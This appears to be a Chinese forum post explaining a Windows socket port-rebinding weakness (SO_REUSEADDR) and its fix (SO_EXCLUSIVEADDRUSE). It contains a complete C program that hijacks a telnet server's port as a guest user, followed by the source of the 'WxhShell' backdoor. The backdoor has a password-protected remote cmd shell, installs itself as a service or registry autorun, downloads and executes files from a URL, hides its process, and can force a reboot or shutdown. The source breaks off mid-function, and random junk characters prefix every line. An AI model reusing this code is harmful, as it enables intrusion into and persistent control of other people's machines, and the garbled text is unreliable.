在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7Bb@9M?i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,Y/>*,J 7!d<>_oH saddr.sin_family = AF_INET;
6b5{ _:z;j{@4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}&^bR)= PYRwcJ$b\d bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*g_>eNpXD dL Py%q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
g&20F`.N*> ~#xs
`@{s 这意味着什么?意味着可以进行如下的攻击:
^K@GK (6_/n&mF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u=N;P xuC6EK+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
kys-~&@+ 53#5p;k
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
L?5t<`#lw rEyMSLN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a\.?{/ z:q'?{`I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\fGYJ37 9#ay(g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>L3p qK
S6Xw+W02 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6I'VXdeN uqH! eN5 #include
{:!SH6 ff #include
bJu,R-f #include
TuPxyB #include
hYQ%|CBXBR DWORD WINAPI ClientThread(LPVOID lpParam);
).6/ii9gt int main()
l@2`f#y1~< {
?q8g<-? WORD wVersionRequested;
R(#;yn DWORD ret;
%x)U8 WSADATA wsaData;
+mel0ZStS BOOL val;
Lgw@y!Llij SOCKADDR_IN saddr;
kxiyF$
9 SOCKADDR_IN scaddr;
+Gs;3jC^ int err;
e5y`CXX SOCKET s;
1;sAt;/W8 SOCKET sc;
O?<_,-. int caddsize;
{twf7.eY HANDLE mt;
v*p)"J * DWORD tid;
t z>X'L wVersionRequested = MAKEWORD( 2, 2 );
E&=?\KM err = WSAStartup( wVersionRequested, &wsaData );
y")>"8H if ( err != 0 ) {
iONql7S @ printf("error!WSAStartup failed!\n");
y3$\ m return -1;
r]vBr^kq }
Z~:lfCK` saddr.sin_family = AF_INET;
&l)v' O[J+dWyp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Kct +QO( {
^k,iTx
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W_lNvzag saddr.sin_port = htons(23);
X=}0+W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@)Y7GM+^ {
ZjID<5# printf("error!socket failed!\n");
h*'5h! return -1;
Q^;\!$:M }
*/qc%!YV9 val = TRUE;
aYX '&k
` //SO_REUSEADDR选项就是可以实现端口重绑定的
?-p aM5Q+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u+I3VK_) {
c_=zd6 b$S printf("error!setsockopt failed!\n");
MO+0]uh: return -1;
Ft>8 YYyU }
l"g%vS,;` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;qQzF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
D-EM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*)sz]g|d eesLTyD2_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(8/xSOZ[ {
|W[rywxx ret=GetLastError();
LxGh *7K- printf("error!bind failed!\n");
B(NL3WJ return -1;
tG&B D\ }
a,\u|T:g listen(s,2);
6<O]_ HZ& while(1)
%-1-J<<J
q {
$VNn`0^gF caddsize = sizeof(scaddr);
ZSf+5{2m //接受连接请求
*38\&"s4_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/v<8x?= if(sc!=INVALID_SOCKET)
2,`mNjHh {
q&x#S_! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"lAS
<dq if(mt==NULL)
FV,SA3 {
mjc:0hH printf("Thread Creat Failed!\n");
2)]*re) break;
[^P2Kn }
iIRigW }
!7|9r$ CloseHandle(mt);
BE;iC.rW }
ou4?`JF)- closesocket(s);
dRC+|^rSC WSACleanup();
dg<fUQ return 0;
$*> _0{< }
|]^! 4[!U DWORD WINAPI ClientThread(LPVOID lpParam)
\}c50}#0 {
lsf?R'1 SOCKET ss = (SOCKET)lpParam;
nQMN2j M SOCKET sc;
S}yb~uc, unsigned char buf[4096];
g*9>z) SOCKADDR_IN saddr;
AX?6Q4Gq1 long num;
C*zdHzMj DWORD val;
s_Gp +- DWORD ret;
yx4c+(J^8 //如果是隐藏端口应用的话,可以在此处加一些判断
cV,URUD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;pYk+r6 Cr saddr.sin_family = AF_INET;
qN(;l&Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
pm|]GkM saddr.sin_port = htons(23);
g_=ZcGC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<Z_`^~! {
xJlq2cK printf("error!socket failed!\n");
s^<
oU return -1;
bBL"F!. }
}3e+D val = 100;
\6L=^q= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
".=EAXVU {
v-@@>?W- ret = GetLastError();
j$Co-b1 return -1;
rZ7 Ihof }
%&NK|M+n if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*?\Nioii {
<#Dc(VhT ret = GetLastError();
T9yW# . return -1;
%UhF=C }
c7 -j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5}VP-04vh {
F[Up printf("error!socket connect failed!\n");
m5*RB1 closesocket(sc);
'-qc\6UY closesocket(ss);
GW#Wy=(_ return -1;
L x&ZWF$ }
6OUjc while(1)
irS62Xe {
-0Ek&"=Z^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6cvm\opH //如果是嗅探内容的话,可以再此处进行内容分析和记录
9 R1]2U$| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
it@s(1EO# num = recv(ss,buf,4096,0);
c{q`uI;O if(num>0)
7v_e"[s~ send(sc,buf,num,0);
A>k;o0r else if(num==0)
1lM0pl6M break;
Zx{'S3W num = recv(sc,buf,4096,0);
z~al
h?H if(num>0)
s.R(3}/ send(ss,buf,num,0);
jXQ_7 else if(num==0)
Q)/q h;Ru break;
-0{WB(P }
=r2d{ closesocket(ss);
?aui q closesocket(sc);
-mF9Skj return 0 ;
mBF?+/l }
#SmWF|/ -1:asM7 W\ckt]' ==========================================================
PE>_;k-@k lAQ&PPQ 下边附上一个代码,,WXhSHELL
qZ.\GHS {lA@I*_lj ==========================================================
Y|L57F zc#`qa:0 #include "stdafx.h"
S/|8'x{< ]Yy
Sf #include <stdio.h>
P!/8 #include <string.h>
@\a- = #include <windows.h>
idq= US #include <winsock2.h>
'n=D$j]X #include <winsvc.h>
}Z|a?J@CZm #include <urlmon.h>
j(rFORT *SZ<ori #pragma comment (lib, "Ws2_32.lib")
]cD!~nJ #pragma comment (lib, "urlmon.lib")
]z,?{S nHX@ #define MAX_USER 100 // 最大客户端连接数
N'StT$( #define BUF_SOCK 200 // sock buffer
(~#9KA1A} #define KEY_BUFF 255 // 输入 buffer
^AN9m]P _\6-] #define REBOOT 0 // 重启
jB;+tDC!Co #define SHUTDOWN 1 // 关机
%AFy{l R?(j#bk #define DEF_PORT 5000 // 监听端口
7%tn+ &fcRVku #define REG_LEN 16 // 注册表键长度
U"Y$7~ #define SVC_LEN 80 // NT服务名长度
QB7<$Bp {!w]t?h // 从dll定义API
5BZ5Gl3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d@<XR~); typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
JQb]mU%? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
udB}`<Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VC@o]t5 eP)RP6ON{ // wxhshell配置信息
*QLbrR struct WSCFG {
XxGm,A+>Ty int ws_port; // 监听端口
bFpwq#PDW> char ws_passstr[REG_LEN]; // 口令
9}=Fdt int ws_autoins; // 安装标记, 1=yes 0=no
`fH6E8N char ws_regname[REG_LEN]; // 注册表键名
G8SJ<\? char ws_svcname[REG_LEN]; // 服务名
p=zjJ~DVd char ws_svcdisp[SVC_LEN]; // 服务显示名
U*Q$:%72vO char ws_svcdesc[SVC_LEN]; // 服务描述信息
^%nAx| 4xQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
9Ah4N2nL-b int ws_downexe; // 下载执行标记, 1=yes 0=no
q#Bdq8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
W<2-Q,>Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fu`oDi ("{'],> };
*(rq AB0~ 8WvT0q>] // default Wxhshell configuration
@!S5FOXipZ struct WSCFG wscfg={DEF_PORT,
~Oq(JM
$M "xuhuanlingzhe",
'&`Zy pq 1,
*]LM2J "Wxhshell",
NH{0KZ
R "Wxhshell",
30<^0J.1 "WxhShell Service",
bV"0}|A~K "Wrsky Windows CmdShell Service",
:KQ<rLd "Please Input Your Password: ",
uwbj`lpf 1,
oyUf/Sl "
http://www.wrsky.com/wxhshell.exe",
6|zA,-= "Wxhshell.exe"
qU"+0t4 };
"m!Cl-+u TPrwC~\B/ // 消息定义模块
"Kqe4$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NTV0DkX char *msg_ws_prompt="\n\r? for help\n\r#>";
%bAv.'C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
51~:t[N| char *msg_ws_ext="\n\rExit.";
@~"0|,6VC char *msg_ws_end="\n\rQuit.";
/as1 char *msg_ws_boot="\n\rReboot...";
d+_qBp char *msg_ws_poff="\n\rShutdown...";
yJ^}uw char *msg_ws_down="\n\rSave to ";
Q$3%aR-2 P%1s6fjU char *msg_ws_err="\n\rErr!";
5n_<)Ycj char *msg_ws_ok="\n\rOK!";
BUtXHD YcIk{_N3 char ExeFile[MAX_PATH];
/t816,i int nUser = 0;
LB>!%Vx HANDLE handles[MAX_USER];
~
^K[pA ? int OsIsNt;
GR"Jk[W9 Ij"`pdp SERVICE_STATUS serviceStatus;
~($h9*\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
B$fL);l- 1e}wDMU( // 函数声明
V< J~:b1V int Install(void);
RJ0w3T]7 int Uninstall(void);
wqw$6"~ int DownloadFile(char *sURL, SOCKET wsh);
4YKb~1qkk int Boot(int flag);
YYhRdU/g void HideProc(void);
GSypdEBj+w int GetOsVer(void);
$Q62
7 int Wxhshell(SOCKET wsl);
]]Wa.P~]O void TalkWithClient(void *cs);
#SO9e.yhI int CmdShell(SOCKET sock);
y0Ag px int StartFromService(void);
(|S e+Y#e, int StartWxhshell(LPSTR lpCmdLine);
y$!~</=b Nl1&na)K} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f7mI\$CN VOID WINAPI NTServiceHandler( DWORD fdwControl );
^)X^Pcx [~x
Ql // 数据结构和表定义
Oq[tgmf SERVICE_TABLE_ENTRY DispatchTable[] =
=E{1QA0 {
*vht</?J {wscfg.ws_svcname, NTServiceMain},
Ur_~yX]Mo {NULL, NULL}
cBU>/
zIp };
F$d`Umqs;P 0rF{"HM~ // 自我安装
x6m21DW w int Install(void)
kYx|`-PA<r {
syMB~g char svExeFile[MAX_PATH];
8USF;k HKEY key;
euQd strcpy(svExeFile,ExeFile);
F e8xOo6 3rs=EMz:w // 如果是win9x系统,修改注册表设为自启动
!uHX2B+~ if(!OsIsNt) {
&Jq?tnNd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oveW )~4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wF}/7b54 RegCloseKey(key);
y;uk|#qnPS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w_6h
$"^x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!YCYmxw# RegCloseKey(key);
L[D}pL= return 0;
ZVViu4]?y }
7u0!Q\ }
hmQD-E{Ab }
Y!}BmRLh2 else {
V*LpO8= rT <=`9^{ // 如果是NT以上系统,安装为系统服务
}]kzj0m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{l![{ if (schSCManager!=0)
^[!LU {
K@ 6$|.bc SC_HANDLE schService = CreateService
ji:JLvf]% (
>{V]q*[/;Q schSCManager,
m;k' j@: wscfg.ws_svcname,
` O-$qT,_ wscfg.ws_svcdisp,
@32JMS< SERVICE_ALL_ACCESS,
]QRhTz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qpFFvZ
W SERVICE_AUTO_START,
p^^E(<2 SERVICE_ERROR_NORMAL,
a~WtW] svExeFile,
c1Xt$[_ NULL,
0fwo8NgX NULL,
(eFHMRMv~ NULL,
5_#wOz0u$ NULL,
MX]<tR ` NULL
uee2WGD );
\f05(ld if (schService!=0)
&K/5AH"q {
kF`2%g+ CloseServiceHandle(schService);
Y}Y2Vx CloseServiceHandle(schSCManager);
!'[f!vsyM{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^dld\t:tV7 strcat(svExeFile,wscfg.ws_svcname);
Jr|"` f%V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vQ$ FMKz7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,a_\o&V RegCloseKey(key);
YOy/'Le^: return 0;
d?.ewsC }
{a\m0Bw/ }
"xi)GH]H_ CloseServiceHandle(schSCManager);
KYZ/b8C }
]W]o6uo7 }
NN>,dd3T = ;4cDmZh return 1;
\IQf| }
A7C+-N
T32C=7 // 自我卸载
+' QX` int Uninstall(void)
N[~RWg {
)\8l6Gw HKEY key;
$~75/ 'D;v>r if(!OsIsNt) {
:dc>\kUIv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
sFsp`kf RegDeleteValue(key,wscfg.ws_regname);
=]K;" RegCloseKey(key);
@Xts}(L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oqc89DEbJ RegDeleteValue(key,wscfg.ws_regname);
An{`'U(l RegCloseKey(key);
qk<(iVUO return 0;
BRLrD/8Le }
cQ} ,q+GR~ }
7jQOwzj }
*VG#SK else {
40w,:$ N7v7b<6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZEYT17g] if (schSCManager!=0)
&!SdO<agZ {
p8aGM-+40W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?%Hj,b if (schService!=0)
-W38#_y/\ {
g
4G& if(DeleteService(schService)!=0) {
?); 6]"k:3 CloseServiceHandle(schService);
&Op_!]8`U CloseServiceHandle(schSCManager);
JK))Cuh return 0;
;'~U5Po8 }
7o_1PwKS6 CloseServiceHandle(schService);
j^-E,YMC }
ry)g<OA CloseServiceHandle(schSCManager);
>4
4A }
_bRd2k, }
DO`
K_B ?%-VSL>$w= return 1;
Up*1j:_O }
ND $m|V-C hLK5s1#K // 从指定url下载文件
0}tf*M+a int DownloadFile(char *sURL, SOCKET wsh)
2.)xWCG {
c5C 2xE}T HRESULT hr;
3M\~#> char seps[]= "/";
@TBcVHy char *token;
# bc$[%_ char *file;
iI\bD char myURL[MAX_PATH];
pBl'SQccp char myFILE[MAX_PATH];
awxzP*6 O<[h strcpy(myURL,sURL);
}tJRBb token=strtok(myURL,seps);
n,/eT,48` while(token!=NULL)
}-jS0{i {
[CxnGeKK file=token;
Mm7;'Zbg token=strtok(NULL,seps);
.
7*k}@k }
{BPNb{dBKr ?&A)%6` ~ GetCurrentDirectory(MAX_PATH,myFILE);
w*#B_6bG strcat(myFILE, "\\");
}x!=F<Q!r strcat(myFILE, file);
]z3!hgTj send(wsh,myFILE,strlen(myFILE),0);
>n3w'b send(wsh,"...",3,0);
rHYSS0*3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G8AT]
= if(hr==S_OK)
paCC'*bv return 0;
:x88 else
$]LhE:!G return 1;
OD{()E?1B m03D+@F }
JV_VF' bvn%E
H // 系统电源模块
X?'Sh XI int Boot(int flag)
"}ibH{$lM {
B}S!l>.z HANDLE hToken;
K!~j}z* TOKEN_PRIVILEGES tkp;
}\
kLh( r:N =?X`N if(OsIsNt) {
LL% Aw)Q` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1'Sr0
oEd3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?|,dHqh{nM tkp.PrivilegeCount = 1;
(dvsGYT|. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w8veh[%3n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D/U=zDpiB if(flag==REBOOT) {
q~:H>;:G- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
zP554Gr ? return 0;
oW
! Z=; }
n$Nb,/o else {
9d kuvk}: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/Uxp5 b h return 0;
Y6W#uiqk }
}`fFzb }
96ydcJY0' else {
@~p;.=1]F if(flag==REBOOT) {
Z01BzIsR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S2+X/YeB return 0;
ke\gzP/ }
"R< c else {
4C:-1gu7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LK>AC9ak< return 0;
?58,Ja }
|; [XZ ZZ }
mM#[XKOC< 6&9}M Oc return 1;
[d dKC)tA }
uy'I#^Bt &[yW}uV<7 // win9x进程隐藏模块
7=3'PfS void HideProc(void)
|-)2 D=P {
v79k{<Ln S[zETRSG HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2.p?gRO if ( hKernel != NULL )
n3z]&J5fr {
Z-U-n/6I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
simD<&p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ob.Br:x FreeLibrary(hKernel);
&0`[R*S }
7=hISQMsVP gI T3A*x return;
6 Mc&gnN }
|7#S0Ca@ r+RFDg/ // 获取操作系统版本
KT3n-Y-, int GetOsVer(void)
*DDqa?gQb {
b}APD))*H! OSVERSIONINFO winfo;
HpKF7oJ'N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
/}\Uw GetVersionEx(&winfo);
y1qJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
faIHmU return 1;
/ biB*Z else
{,X}Btnwp return 0;
F[@M? }
)lhPl #@UzOQ> // 客户端句柄模块
aam6R/4 int Wxhshell(SOCKET wsl)
XM#xxf* Y {
fW3awR{ SOCKET wsh;
~bD'QMk struct sockaddr_in client;
L,\wB7t DWORD myID;
b[/uSwvi p)e?0m26 while(nUser<MAX_USER)
.P:mYC {
(5/>arDn int nSize=sizeof(client);
xJ rKH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Spm0DqqR? if(wsh==INVALID_SOCKET) return 1;
Z#vU~1W 7Zw.mM!i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2kfX_RK if(handles[nUser]==0)
bXNM.K closesocket(wsh);
#S|DoeFs else
o%SD\zk nUser++;
N|-'Fu }
4:0y\M5u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Vh}F#~BrI H&*KpOL return 0;
qP5'&!s&! }
bu:%"l `JAM]qB" // 关闭 socket
X/qLg+X void CloseIt(SOCKET wsh)
TgjM@ir {
`^mY*Cb e closesocket(wsh);
BM>'w,$KL nUser--;
dWi:V7t+ ExitThread(0);
[/Vi*Z }
&YOks.k 7#[8td // 客户端请求句柄
*l.tsICmbP void TalkWithClient(void *cs)
@,Kl"i; {
|*5HNP aovw'O\Q SOCKET wsh=(SOCKET)cs;
L ]Y6/Q char pwd[SVC_LEN];
Z=.$mFE\ char cmd[KEY_BUFF];
yt[vd8O'c char chr[1];
8`B]UcL) int i,j;
*Sw1b7l jU2vnGw_ while (nUser < MAX_USER) {
MO-7yp:K o>jM4sk$ if(wscfg.ws_passstr) {
Ad)::9K?J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6k+4R< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W lHK //ZeroMemory(pwd,KEY_BUFF);
X:kr$ i=0;
&|YJ?}, while(i<SVC_LEN) {
Bm$(4 _^MkC}8 // 设置超时
FQe82tfV+ fd_set FdRead;
;6655C struct timeval TimeOut;
~cH3RFV FD_ZERO(&FdRead);
AI,Jy%62/ FD_SET(wsh,&FdRead);
U-ADdOh"q TimeOut.tv_sec=8;
8<:.DFq TimeOut.tv_usec=0;
vE{L `,\q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
PC)aVr?@@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c`O(||UZT (T|q]29 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
COc
t d pwd
=chr[0]; GyQ9we~
if(chr[0]==0xd || chr[0]==0xa) { ~5]%+G
pwd=0; <,+nS%a
break; &xLCq&j1
} hF^y4v|5
i++; 13aj fH
} LQz6op}R
fWs @ZCt
// 如果是非法用户,关闭 socket LK:J kjp^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 60z8U#upM
} @;t6Slc"~
I[w;soI
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =;(y5c
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o"j$*o=
(~N[j;W,_W
while(1) { B1i&HoGbz
9$*O ^
ZeroMemory(cmd,KEY_BUFF); bw8[L;~%_
8;v/b3
// 自动支持客户端 telnet标准 Wy.^1M/n>~
j=0; #p7K2
while(j<KEY_BUFF) { ]$&N"&q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n^iq?u
cmd[j]=chr[0]; ;ZoEqMv
if(chr[0]==0xa || chr[0]==0xd) { wfQ^3HL
cmd[j]=0; b Od<x
>@
break; Bdr'd? u<A
} &w%--!T
j++; 5>\~jf
} )>;V72
1n!xsesSc
// 下载文件 4A)@,t9+
if(strstr(cmd,"http://")) { h,zM*z A_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); l4$Iv:
if(DownloadFile(cmd,wsh)) /i)>|U
4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~|Z@pU"
else CmxQb,Ul s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ybU_x
} c^1tXu|&
else { $*+IsP!
sc&u NfJ
switch(cmd[0]) { sR;u#".
Xv<K>i>k
// 帮助 ({0:1*lF@
case '?': { *CCh\+S7m
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); * zt?y
break; H b?0?^#
} bbs'>D3
// 安装 ps_q3Cyp
case 'i': { W <u,S
if(Install()) CB^.N>'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xi[\2g+
else N?2C*|%f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u';9zk/$
break; ./35_Vy/O
} 5tl($j
// 卸载 Q 6n!u;
case 'r': { F%IvgXt5
if(Uninstall()) fj97_Q=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1) Nj.#)
else #QNa|
f#=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y.$Ae1a=
break; 8/k"A-m
} t76B0L{
// 显示 wxhshell 所在路径 ^X;p8uBo
case 'p': { 6aKfcvf &
char svExeFile[MAX_PATH]; G@zJf)u}
strcpy(svExeFile,"\n\r"); fS$;~@p
strcat(svExeFile,ExeFile); :i>If:>g
send(wsh,svExeFile,strlen(svExeFile),0); hgK
4;R
break; =Q*x=}NH
} ckYT69U
// 重启 0.[tEnLZ
case 'b': { qLV3Y?S!L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CE @[Z
if(Boot(REBOOT)) }<^QW't_Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "0 $UnR
else { _tRRIW"Vx"
closesocket(wsh); Z&of-[)
ExitThread(0); &B\ sG=
} 0X:$ASocU
break; Y @Ur}
} e}+Zj'5
// 关机 _FxeZ4\
case 'd': { @{"?fqo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MK(~
if(Boot(SHUTDOWN)) s:3b. *t<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Ahxi);a
else { NfWL3"&X
closesocket(wsh); bTt1y O
ExitThread(0); F*T$n"^
} K /$-H#;N
break; <$u\PJF7_^
} !/e*v>3u&
// 获取shell NFyKTA6
case 's': { /gn!="J
CmdShell(wsh); @b!W8c 6
closesocket(wsh); *-*SCA`E^=
ExitThread(0); [RF 6mWQ
break; (K_{a+$[
} V8Ri2&|3
// 退出 c \;_jg
case 'x': { O-huC:zZh
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m}7Nu
CloseIt(wsh); Sc]G7_
break; /0o#V-E)
} OA^6l#
// 离开 Y?$
case 'q': { *M/:W =,t
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &?$mS'P
closesocket(wsh); aS``fE;O
WSACleanup(); |`xM45
exit(1); ,m8mh)K?0>
break; (vp#?-i
} /+1(,S
} FGzKx9I9
} 2;(+]Ad<
w+wtr[;wwL
// 提示信息 d<6m_!L
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CXi[$nF3
} bjo}95
} 9s1^hW2%Q
7Ie=(x8):
return; *%Fu/
} 5+Ao.3Xn
#qFY`fVf1
// shell模块句柄 O4Q"2
int CmdShell(SOCKET sock) `?O0)
{ 7MGvw-Tpb7
STARTUPINFO si; #; f50j!r
ZeroMemory(&si,sizeof(si)); 3YJ"[$w='(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .)SR3?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mo5b
@
[
PROCESS_INFORMATION ProcessInfo; }m'n1tm;
char cmdline[]="cmd"; f!{@{\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ch\__t*v!
return 0; ":f]egq
-
} uXk]
fY6~Z
BvK
// 自身启动模式 0?}n( f!S
int StartFromService(void) &36SX<vZ
{ KK6n"&TVa
typedef struct B%tWi
{ i4]oE&G
DWORD ExitStatus; j8nkNE]&
DWORD PebBaseAddress; Lx tgf2r
DWORD AffinityMask; @mmnr?_w
DWORD BasePriority; k(M:#oA!
ULONG UniqueProcessId; QZtQogNy#
